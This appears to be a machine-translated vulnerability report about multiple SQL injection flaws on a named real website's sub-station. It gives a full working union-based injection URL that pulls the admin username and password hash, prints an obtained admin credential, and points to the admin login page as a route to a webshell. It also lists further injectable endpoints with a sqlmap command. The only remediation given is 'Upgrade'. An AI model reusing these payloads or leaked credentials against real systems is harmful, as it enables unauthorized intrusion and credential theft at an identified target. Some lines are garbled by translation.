Wasu sub-station Multiple SQL injection to easily obtain webshell (system permission)

Wasu sub-station Multiple SQL injection to easily obtain webshell (system permission)

Rt

http://os.wasu.cn/new/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@%60\%27%60%20/*!50000union*//*!50000select*/1,2,3,%28select%20CONCAT%280x7c,userid,0x7c,pwd%29+from+%60%23@__admin%60%20limit+0,1%29,5,6,7,8,9%23@%60\%27%60+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294

Get the admin account and password: admin 7d1e9c6a6bb29f1e (zzyking)

Into the background (http:// OS .wasu.cn/new/zzy_dede/login.php) very easy to get shell

Http:// OS .wasu.cn/lx/mail.php? Id = 1

Http:// OS .wasu.cn/liuchen/mail.php? Id = 1

Some data obtained

sqlmapx.py -u "http://os.wasu.cn/lx/mail.php?id=1" --dbms mysql --current-db

Sqlmapx. py-u "http:// OS .wasu.cn/lx/mail.php? Id = 1 "-- dbms mysql -- current-db

 

Solution:

Upgrade